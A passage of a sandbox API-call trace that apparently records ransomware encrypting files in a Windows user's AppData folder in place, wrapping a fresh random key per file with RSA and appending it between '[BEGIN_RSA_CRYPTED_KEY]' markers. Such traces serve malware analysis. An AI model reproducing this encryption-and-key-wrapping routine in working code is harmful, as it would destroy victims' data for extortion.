pszString="LjOAqhoV8/r3XdyMqGwdSchyPI12JzzNjMe7uVXo2GJu/F5ISqMNXL7/DR53Jd0z\nWK5gEzCFE6ut1/2lvnAjHktUgVhnJLf+S36xYDuSy7562mdDuauUD4rrPEEFD1e2\nXblpBwciniUwqHkTTOlU+O2eyWd2jwAqdzdkqDgo/Q4PzKe+HpHy9uQbjVSYGdRe\n9Nveik9mRC8V39Kh06ZZ6o0tLLauXGzh54/cLdMTyfqMKvpYGOas5fCQOig1FR3s\ni0g4sx89i11t2R0bjmXxBONt1OL1Evgzx/1gZHdHXvQ0/37h5ntrhsL+JD163WFf\ndzAwoYMDUz0aDlRWJ6LKSw==\n", pcchString=0x2e3f9a8) returned 1 [0218.943] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0218.943] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.943] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.943] CloseHandle (hObject=0x1840) returned 1 [0218.945] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0218.945] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\60c584368b3ec9125cd681bda1f4ed690980a7c6c0e09fbbfdcd7202759b50d7", dwFileAttributes=0x80) returned 1 [0218.949] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\60c584368b3ec9125cd681bda1f4ed690980a7c6c0e09fbbfdcd7202759b50d7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\60c584368b3ec9125cd681bda1f4ed690980a7c6c0e09fbbfdcd7202759b50d7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0218.949] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1538) returned 1 [0218.949] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x602, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x602, lpOverlapped=0x0) returned 1 [0218.980] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0218.981] WriteFile (in: hFile=0x1840, lpBuffer=0x3351620*, nNumberOfBytesToWrite=0x602, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351620*, lpNumberOfBytesWritten=0x2e3f9b4*=0x602, lpOverlapped=0x0) returned 1 [0218.981] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x602 [0218.981] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.981] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.981] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0218.981] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0218.982] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0218.982] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="DPuoZ2jvtkxdmrRClHEYK/u/jjm86qtJNKaHV4ZTpjiDjKhpmtHRo7CBcW1M6MRr\nB3IbUrdq2j+lp4oeHAhCwP1DgoNgtPaX4TcqGYz2DN8iu2xwgEcajYblOs0SseDz\nDDzqcStU2gHvAsTx6F//4OOtMeLH+xq2LSsZLjLePCQS8hfojeOtUOM1BgCGPVyj\nh+QU68bT+OZdREOnkO+9n/vOGd0P/CWpK/yok6vhoIngbRH07v56WYzFZbrG1F88\nnItb9xLKjpzlAxMZkVsmJfvzO4Vxld+nqWn96KHbURa+SV6A8hejMt/lxQdtDv+t\nHoWLe1fJY3H3PvzIpV+xVA==\n", pcchString=0x2e3f9a8) returned 1 [0218.982] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0218.982] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.982] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.982] CloseHandle (hObject=0x1840) returned 1 [0218.983] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0218.983] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5df1a43b84ef89aecd0913e8dbd20a4e1085021825809447d6ebb7f1526ba4fa", dwFileAttributes=0x80) returned 1 [0218.984] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5df1a43b84ef89aecd0913e8dbd20a4e1085021825809447d6ebb7f1526ba4fa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\5df1a43b84ef89aecd0913e8dbd20a4e1085021825809447d6ebb7f1526ba4fa"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0218.984] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16775) returned 1 [0218.984] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4187, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4187, lpOverlapped=0x0) returned 1 [0219.049] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-16775, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.050] WriteFile (in: hFile=0x1840, lpBuffer=0x2f391b0*, nNumberOfBytesToWrite=0x4187, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4187, lpOverlapped=0x0) returned 1 [0219.050] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4187 [0219.050] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.050] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.050] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0219.050] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0219.050] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0219.050] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="suJKzd07qThpVRz0YqRfu7jC9uj3JRAAqSTeZ3IVIwLCpZU4HAt8RzZIT7G6lWMV\nnBQYDsW/fnQim8rvUrRJFa40xoFvEtdpZG2x+vuCigqzLePqxiM2LK1nSnHk9mv2\n1Ws2wOmGcC0ocfmWfIPtjG0YtAuukYsEjVl04d0sfbJSL+ZZLLNuouIC1kMZewsJ\n8kUnBonlLUxvQFbqDHYfc6W+PfzIo1dy7Gm+iXBFKuDwCh1zpIQlk07IbxpQqDaz\ntXdg8THCVSZRBq+H+IzXeo9em2xWwF7agh9gzj1G/5uRBhDC9+vQjeVhoTwgibYE\nSUbfbPRT0w7L45kD+ueRQQ==\n", pcchString=0x2e3f9a8) returned 1 [0219.050] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0219.051] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.051] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.051] CloseHandle (hObject=0x1840) returned 1 [0219.052] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0219.052] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5d9f730772f2f4390c5c1b8a100817d1a1d8896b02cb3257a47fcb9bdee4c596", dwFileAttributes=0x80) returned 1 [0219.053] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5d9f730772f2f4390c5c1b8a100817d1a1d8896b02cb3257a47fcb9bdee4c596" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\5d9f730772f2f4390c5c1b8a100817d1a1d8896b02cb3257a47fcb9bdee4c596"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0219.053] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=831) returned 1 [0219.053] ReadFile (in: hFile=0x1840, lpBuffer=0x66ea30, nNumberOfBytesToRead=0x33f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesRead=0x2e3f9b4*=0x33f, lpOverlapped=0x0) returned 1 [0219.150] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.150] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x33f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x33f, lpOverlapped=0x0) returned 1 [0219.150] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x33f [0219.150] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.150] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.150] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0219.151] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0219.151] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0219.151] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="i9cZjiBMj0XN6tcpvLNgJhl9aFX2EBpnGLPKsJ+dZyMAITJlzPvHZ+lom4Wpj1eT\nNo8uB6O+Y6R6IhmoZMmoa+dQB2/l3ZZokC2GCIUu9R37X8kOvw+sMPs7suLTVTzK\nZ0qh+bU0ptbFRNN3iCn1d698xK+J/qG5b52pt6ZeW9FNP1Fq0vFFz5fz/lr0PGyX\n85t1XubVOJuMCWJj4Lo3KCMkGu9aHRqW/g8qvhjheMSHjSV8dDGVj569lh6nwUV1\n2Jwnrkq0zpgAAyKIAureNmB1l0AlcQXyeLVIxYzIo67Srjj4o8EEu/k4H4+L40Lx\nCdWEvbsEfL11SeLFVWWdsQ==\n", pcchString=0x2e3f9a8) returned 1 [0219.151] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0219.151] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.151] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.151] CloseHandle (hObject=0x1840) returned 1 [0219.155] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0219.155] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5d09ce56b3b281be3dafbc4790edb6df5c9162ac126141d13ef5692ac6f76ea3", dwFileAttributes=0x80) returned 1 [0219.156] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5d09ce56b3b281be3dafbc4790edb6df5c9162ac126141d13ef5692ac6f76ea3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\5d09ce56b3b281be3dafbc4790edb6df5c9162ac126141d13ef5692ac6f76ea3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0219.157] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1128924) returned 1 [0219.157] ReadFile (in: hFile=0x1840, lpBuffer=0x67f020, nNumberOfBytesToRead=0x1139dc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x67f020*, lpNumberOfBytesRead=0x2e3f9b4*=0x1139dc, lpOverlapped=0x0) returned 1 [0219.249] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1128924, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.249] WriteFile (in: hFile=0x1840, lpBuffer=0x3541020*, nNumberOfBytesToWrite=0x1139dc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3541020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1139dc, lpOverlapped=0x0) returned 1 [0219.254] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1139dc [0219.254] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.254] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.254] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0219.254] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0219.255] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0219.255] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="oyArCVWQbqawODM0IXFVpbpDILeQtfQuQj/+dDJdGb+T5XJSJLhZmbMXZxM4QHw7\niVbJ8BkjX1BFb3shZOvCM/z8kwUuAQR/NbGCGhYI17msqCdvEOd7de8VQSHyEw72\n20+pqFxESq8NP83KQthOXzUNJE8BV3PuhW4VkNA4WDKpQofmKxIJV+5v+kY5FM+r\nHjWCJydErlELEUQXX8K7z8KR4G08zU4+UqQTfjQoMjbxAihtA2ODWk2uHVLOPF4u\nb9lNDFhiPOux9REJibswnVBQyXarTx97RADHlk9z9QGeguesjuNjhyRiO35LAmLk\nAzol7t/jK/7fShr42GwgpQ==\n", pcchString=0x2e3f9a8) returned 1 [0219.255] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0219.255] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.255] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.255] CloseHandle (hObject=0x1840) returned 1 [0219.257] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0219.257] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\55b8377beb7d1d0e9d4fe7b763ce5af97ccf3013e6af720a22569410e155a0c4", dwFileAttributes=0x80) returned 1 [0219.257] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\55b8377beb7d1d0e9d4fe7b763ce5af97ccf3013e6af720a22569410e155a0c4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\55b8377beb7d1d0e9d4fe7b763ce5af97ccf3013e6af720a22569410e155a0c4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0219.258] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=21674) returned 1 [0219.258] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x54aa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x54aa, lpOverlapped=0x0) returned 1 [0219.276] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-21674, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.277] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x54aa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x54aa, lpOverlapped=0x0) returned 1 [0219.277] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x54aa [0219.277] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.277] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.277] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0219.277] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0219.278] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0219.278] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="Z9e5C/kgcWngRBvMB7vrv2hESVDqAovKz8b6YaeqC2iqRVBGYQGZ5uHQwrEB8+4n\nGzZo7xNhBacSr2gu9GTL+UJ3Op4x7/7GkyQ6mNGQ9MQCTFdKR8v5x/9R1Tl5IsM9\nPRl3V/pQ/8CS2+kPy9bl6+69U9YpNV3LkZqEFDI6cMm40mEMvsehU6yVA4X1mpxB\niUnIIdXswENddYSeFLYVfKrVuXPRvA55zJjThsLuH+7JwENkNaKveDmGEH+oTUV4\nhvLDn4RsP2IOYfG+r8sGwIJA80J/IRrBTxcdkYZY9RsVPJNGIsu1+KBrjz5mvwd5\nE5blDwIQH319u0cpekOTVg==\n", pcchString=0x2e3f9a8) returned 1 [0219.278] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0219.278] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.278] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0219.278] CloseHandle (hObject=0x1840) returned 1 [0219.280] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0219.280] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\54381f4f59ea8b998d39c632ceef8207bb5623030b6d8c7a2b76f3f9a00e5bd9", dwFileAttributes=0x80) returned 1 [0219.280] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\54381f4f59ea8b998d39c632ceef8207bb5623030b6d8c7a2b76f3f9a00e5bd9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\54381f4f59ea8b998d39c632ceef8207bb5623030b6d8c7a2b76f3f9a00e5bd9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0219.280] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16720) returned 1 [0219.281] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x4150, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x4150, lpOverlapped=0x0) returned 1 [0219.311] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-16720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.311] WriteFile (in: hFile=0x1840, lpBuffer=0x2f35020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4150, lpOverlapped=0x0) returned 1 [0219.311] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4150 [0219.311] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0219.311] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 